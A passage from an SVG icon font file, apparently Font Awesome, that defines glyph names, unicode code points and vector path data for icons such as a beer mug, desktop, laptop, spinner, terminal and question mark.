d="M1920 576q-1 -32 -288 -96l-352 -32l-224 -64h-64l-293 -352h69q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-96h-160h-64v32h64v416h-160l-192 -224h-96l-32 32v192h32v32h128v8l-192 24v128l192 24v8h-128v32h-32v192l32 32h96l192 -224h160v416h-64v32h64h160h96
q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-69l293 -352h64l224 -64l352 -32q128 -28 200 -52t80 -34z" />
    <glyph glyph-name="beer" unicode="&#xf0fc;" horiz-adv-x="1664" 
d="M640 640v384h-256v-256q0 -53 37.5 -90.5t90.5 -37.5h128zM1664 192v-192h-1152v192l128 192h-128q-159 0 -271.5 112.5t-112.5 271.5v320l-64 64l32 128h480l32 128h960l32 -192l-64 -32v-800z" />
    <glyph glyph-name="h_sign" unicode="&#xf0fd;" 
d="M1280 192v896q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-512v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-896q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h512v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="f0fe" unicode="&#xf0fe;" 
d="M1280 576v128q0 26 -19 45t-45 19h-320v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-320q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h320v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h320q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="double_angle_left" unicode="&#xf100;" horiz-adv-x="1024" 
d="M627 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23zM1011 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_right" unicode="&#xf101;" horiz-adv-x="1024" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM979 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23
l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_up" unicode="&#xf102;" horiz-adv-x="1152" 
d="M1075 224q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM1075 608q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393
q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_down" unicode="&#xf103;" horiz-adv-x="1152" 
d="M1075 672q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23zM1075 1056q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_left" unicode="&#xf104;" horiz-adv-x="640" 
d="M627 992q0 -13 -10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_right" unicode="&#xf105;" horiz-adv-x="640" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_up" unicode="&#xf106;" horiz-adv-x="1152" 
d="M1075 352q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_down" unicode="&#xf107;" horiz-adv-x="1152" 
d="M1075 800q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="desktop" unicode="&#xf108;" horiz-adv-x="1920" 
d="M1792 544v832q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1376v-1088q0 -66 -47 -113t-113 -47h-544q0 -37 16 -77.5t32 -71t16 -43.5q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19
t-19 45q0 14 16 44t32 70t16 78h-544q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="laptop" unicode="&#xf109;" horiz-adv-x="1920" 
d="M416 256q-66 0 -113 47t-47 113v704q0 66 47 113t113 47h1088q66 0 113 -47t47 -113v-704q0 -66 -47 -113t-113 -47h-1088zM384 1120v-704q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5v704q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5z
M1760 192h160v-96q0 -40 -47 -68t-113 -28h-1600q-66 0 -113 28t-47 68v96h160h1600zM1040 96q16 0 16 16t-16 16h-160q-16 0 -16 -16t16 -16h160z" />
    <glyph glyph-name="tablet" unicode="&#xf10a;" horiz-adv-x="1152" 
d="M640 128q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1024 288v960q0 13 -9.5 22.5t-22.5 9.5h-832q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h832q13 0 22.5 9.5t9.5 22.5zM1152 1248v-1088q0 -66 -47 -113t-113 -47h-832
q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h832q66 0 113 -47t47 -113z" />
    <glyph glyph-name="mobile_phone" unicode="&#xf10b;" horiz-adv-x="768" 
d="M464 128q0 33 -23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5t56.5 23.5t23.5 56.5zM672 288v704q0 13 -9.5 22.5t-22.5 9.5h-512q-13 0 -22.5 -9.5t-9.5 -22.5v-704q0 -13 9.5 -22.5t22.5 -9.5h512q13 0 22.5 9.5t9.5 22.5zM480 1136
q0 16 -16 16h-160q-16 0 -16 -16t16 -16h160q16 0 16 16zM768 1152v-1024q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v1024q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="circle_blank" unicode="&#xf10c;" 
d="M768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103
t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="quote_left" unicode="&#xf10d;" horiz-adv-x="1664" 
d="M768 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z
M1664 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z" />
    <glyph glyph-name="quote_right" unicode="&#xf10e;" horiz-adv-x="1664" 
d="M768 1216v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136zM1664 1216
v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136z" />
    <glyph glyph-name="spinner" unicode="&#xf110;" horiz-adv-x="1792" 
d="M526 142q0 -53 -37.5 -90.5t-90.5 -37.5q-52 0 -90 38t-38 90q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 -64q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM320 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1522 142q0 -52 -38 -90t-90 -38q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM558 1138q0 -66 -47 -113t-113 -47t-113 47t-47 113t47 113t113 47t113 -47t47 -113z
M1728 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1088 1344q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1618 1138q0 -93 -66 -158.5t-158 -65.5q-93 0 -158.5 65.5t-65.5 158.5
q0 92 65.5 158t158.5 66q92 0 158 -66t66 -158z" />
    <glyph glyph-name="circle" unicode="&#xf111;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="reply" unicode="&#xf112;" horiz-adv-x="1792" 
d="M1792 416q0 -166 -127 -451q-3 -7 -10.5 -24t-13.5 -30t-13 -22q-12 -17 -28 -17q-15 0 -23.5 10t-8.5 25q0 9 2.5 26.5t2.5 23.5q5 68 5 123q0 101 -17.5 181t-48.5 138.5t-80 101t-105.5 69.5t-133 42.5t-154 21.5t-175.5 6h-224v-256q0 -26 -19 -45t-45 -19t-45 19
l-512 512q-19 19 -19 45t19 45l512 512q19 19 45 19t45 -19t19 -45v-256h224q713 0 875 -403q53 -134 53 -333z" />
    <glyph glyph-name="github_alt" unicode="&#xf113;" horiz-adv-x="1664" 
d="M640 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1280 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1440 320
q0 120 -69 204t-187 84q-41 0 -195 -21q-71 -11 -157 -11t-157 11q-152 21 -195 21q-118 0 -187 -84t-69 -204q0 -88 32 -153.5t81 -103t122 -60t140 -29.5t149 -7h168q82 0 149 7t140 29.5t122 60t81 103t32 153.5zM1664 496q0 -207 -61 -331q-38 -77 -105.5 -133t-141 -86
t-170 -47.5t-171.5 -22t-167 -4.5q-78 0 -142 3t-147.5 12.5t-152.5 30t-137 51.5t-121 81t-86 115q-62 123 -62 331q0 237 136 396q-27 82 -27 170q0 116 51 218q108 0 190 -39.5t189 -123.5q147 35 309 35q148 0 280 -32q105 82 187 121t189 39q51 -102 51 -218
q0 -87 -27 -168q136 -160 136 -398z" />
    <glyph glyph-name="folder_close_alt" unicode="&#xf114;" horiz-adv-x="1664" 
d="M1536 224v704q0 40 -28 68t-68 28h-704q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68v-960q0 -40 28 -68t68 -28h1216q40 0 68 28t28 68zM1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320
q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open_alt" unicode="&#xf115;" horiz-adv-x="1920" 
d="M1781 605q0 35 -53 35h-1088q-40 0 -85.5 -21.5t-71.5 -52.5l-294 -363q-18 -24 -18 -40q0 -35 53 -35h1088q40 0 86 22t71 53l294 363q18 22 18 39zM640 768h768v160q0 40 -28 68t-68 28h-576q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68
v-853l256 315q44 53 116 87.5t140 34.5zM1909 605q0 -62 -46 -120l-295 -363q-43 -53 -116 -87.5t-140 -34.5h-1088q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158v-160h192q54 0 99 -24.5t67 -70.5q15 -32 15 -68z
" />
    <glyph glyph-name="expand_alt" unicode="&#xf116;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="collapse_alt" unicode="&#xf117;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="smile" unicode="&#xf118;" 
d="M1134 461q-37 -121 -138 -195t-228 -74t-228 74t-138 195q-8 25 4 48.5t38 31.5q25 8 48.5 -4t31.5 -38q25 -80 92.5 -129.5t151.5 -49.5t151.5 49.5t92.5 129.5q8 26 32 38t49 4t37 -31.5t4 -48.5zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5
t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="frown" unicode="&#xf119;" 
d="M1134 307q8 -25 -4 -48.5t-37 -31.5t-49 4t-32 38q-25 80 -92.5 129.5t-151.5 49.5t-151.5 -49.5t-92.5 -129.5q-8 -26 -31.5 -38t-48.5 -4q-26 8 -38 31.5t-4 48.5q37 121 138 195t228 74t228 -74t138 -195zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204
t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="meh" unicode="&#xf11a;" 
d="M1152 448q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h640q26 0 45 -19t19 -45zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="gamepad" unicode="&#xf11b;" horiz-adv-x="1920" 
d="M832 448v128q0 14 -9 23t-23 9h-192v192q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-192h-192q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h192v-192q0 -14 9 -23t23 -9h128q14 0 23 9t9 23v192h192q14 0 23 9t9 23zM1408 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1920 512q0 -212 -150 -362t-362 -150q-192 0 -338 128h-220q-146 -128 -338 -128q-212 0 -362 150
t-150 362t150 362t362 150h896q212 0 362 -150t150 -362z" />
    <glyph glyph-name="keyboard" unicode="&#xf11c;" horiz-adv-x="1920" 
d="M384 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM512 624v-96q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h224q16 0 16 -16zM384 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 368v-96q0 -16 -16 -16
h-864q-16 0 -16 16v96q0 16 16 16h864q16 0 16 -16zM768 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM640 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1024 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16
h96q16 0 16 -16zM896 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1280 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1152 880v-96
q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 880v-352q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h112v240q0 16 16 16h96q16 0 16 -16zM1792 128v896h-1664v-896
h1664zM1920 1024v-896q0 -53 -37.5 -90.5t-90.5 -37.5h-1664q-53 0 -90.5 37.5t-37.5 90.5v896q0 53 37.5 90.5t90.5 37.5h1664q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="flag_alt" unicode="&#xf11d;" horiz-adv-x="1792" 
d="M1664 491v616q-169 -91 -306 -91q-82 0 -145 32q-100 49 -184 76.5t-178 27.5q-173 0 -403 -127v-599q245 113 433 113q55 0 103.5 -7.5t98 -26t77 -31t82.5 -39.5l28 -14q44 -22 101 -22q120 0 293 92zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9
h-64q-14 0 -23 9t-9 23v1266q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102
q-15 -9 -33 -9q-16 0 -32 8q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="flag_checkered" unicode="&#xf11e;" horiz-adv-x="1792" 
d="M832 536v192q-181 -16 -384 -117v-185q205 96 384 110zM832 954v197q-172 -8 -384 -126v-189q215 111 384 118zM1664 491v184q-235 -116 -384 -71v224q-20 6 -39 15q-5 3 -33 17t-34.5 17t-31.5 15t-34.5 15.5t-32.5 13t-36 12.5t-35 8.5t-39.5 7.5t-39.5 4t-44 2
q-23 0 -49 -3v-222h19q102 0 192.5 -29t197.5 -82q19 -9 39 -15v-188q42 -17 91 -17q120 0 293 92zM1664 918v189q-169 -91 -306 -91q-45 0 -78 8v-196q148 -42 384 90zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v1266
q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102q-15 -9 -33 -9q-16 0 -32 8
q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="terminal" unicode="&#xf120;" horiz-adv-x="1664" 
d="M585 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23zM1664 96v-64q0 -14 -9 -23t-23 -9h-960q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h960q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="code" unicode="&#xf121;" horiz-adv-x="1920" 
d="M617 137l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23zM1208 1204l-373 -1291q-4 -13 -15.5 -19.5t-23.5 -2.5l-62 17q-13 4 -19.5 15.5t-2.5 24.5
l373 1291q4 13 15.5 19.5t23.5 2.5l62 -17q13 -4 19.5 -15.5t2.5 -24.5zM1865 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23z" />
    <glyph glyph-name="reply_all" unicode="&#xf122;" horiz-adv-x="1792" 
d="M640 454v-70q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-69l-397 -398q-19 -19 -19 -45t19 -45zM1792 416q0 -58 -17 -133.5t-38.5 -138t-48 -125t-40.5 -90.5l-20 -40q-8 -17 -28 -17q-6 0 -9 1
q-25 8 -23 34q43 400 -106 565q-64 71 -170.5 110.5t-267.5 52.5v-251q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-262q411 -28 599 -221q169 -173 169 -509z" />
    <glyph glyph-name="star_half_empty" unicode="&#xf123;" horiz-adv-x="1664" 
d="M1186 579l257 250l-356 52l-66 10l-30 60l-159 322v-963l59 -31l318 -168l-60 355l-12 66zM1638 841l-363 -354l86 -500q5 -33 -6 -51.5t-34 -18.5q-17 0 -40 12l-449 236l-449 -236q-23 -12 -40 -12q-23 0 -34 18.5t-6 51.5l86 500l-364 354q-32 32 -23 59.5t54 34.5
l502 73l225 455q20 41 49 41q28 0 49 -41l225 -455l502 -73q45 -7 54 -34.5t-24 -59.5z" />
    <glyph glyph-name="location_arrow" unicode="&#xf124;" horiz-adv-x="1408" 
d="M1401 1187l-640 -1280q-17 -35 -57 -35q-5 0 -15 2q-22 5 -35.5 22.5t-13.5 39.5v576h-576q-22 0 -39.5 13.5t-22.5 35.5t4 42t29 30l1280 640q13 7 29 7q27 0 45 -19q15 -14 18.5 -34.5t-6.5 -39.5z" />
    <glyph glyph-name="crop" unicode="&#xf125;" horiz-adv-x="1664" 
d="M557 256h595v595zM512 301l595 595h-595v-595zM1664 224v-192q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v224h-864q-14 0 -23 9t-9 23v864h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224v224q0 14 9 23t23 9h192q14 0 23 -9t9 -23
v-224h851l246 247q10 9 23 9t23 -9q9 -10 9 -23t-9 -23l-247 -246v-851h224q14 0 23 -9t9 -23z" />
    <glyph glyph-name="code_fork" unicode="&#xf126;" horiz-adv-x="1024" 
d="M288 64q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM288 1216q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM928 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1024 1088q0 -52 -26 -96.5t-70 -69.5
q-2 -287 -226 -414q-67 -38 -203 -81q-128 -40 -169.5 -71t-41.5 -100v-26q44 -25 70 -69.5t26 -96.5q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 52 26 96.5t70 69.5v820q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136q0 -52 -26 -96.5t-70 -69.5v-497
q54 26 154 57q55 17 87.5 29.5t70.5 31t59 39.5t40.5 51t28 69.5t8.5 91.5q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="unlink" unicode="&#xf127;" horiz-adv-x="1664" 
d="M439 265l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23zM608 224v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM384 448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23t9 23t23 9h320
q14 0 23 -9t9 -23zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-334 335q-21 21 -42 56l239 18l273 -274q27 -27 68 -27.5t68 26.5l147 146q28 28 28 67q0 40 -28 68l-274 275l18 239q35 -21 56 -42l336 -336q84 -86 84 -204zM1031 1044l-239 -18
l-273 274q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l274 -274l-18 -240q-35 21 -56 42l-336 336q-84 86 -84 204q0 120 85 203l147 146q83 83 203 83q121 0 204 -85l334 -335q21 -21 42 -56zM1664 960q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9
t-9 23t9 23t23 9h320q14 0 23 -9t9 -23zM1120 1504v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM1527 1353l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="question" unicode="&#xf128;" horiz-adv-x="1024" 
d="M704 280v-240q0 -16 -12 -28t-28 -12h-240q-16 0 -28 12t-12 28v240q0 16 12 28t28 12h240q16 0 28 -12t12 -28zM1020 880q0 -54 -15.5 -101t-35 -76.5t-55 -59.5t-57.5 -43.5t-61 -35.5q-41 -23 -68.5 -65t-27.5 -67q0 -17 -12 -32.5t-28 -15.5h-240q-15 0 -25.5 18.5
t-10.5 37.5v45q0 83 65 156.5t143 108.5q59 27 84 56t25 76q0 42 -46.5 74t-107.5 32q-65 0 -108 -29q-35 -25 -107 -115q-13 -16 -31 -16q-12 0 -25 8l-164 125q-13 10 -15.5 25t5.5 28q160 266 464 266q80 0 161 -31t146 -83t106 -127.5t41 -158.5z" />
    <glyph glyph-name="_279" unicode="&#xf129;" horiz-adv-x="640" 
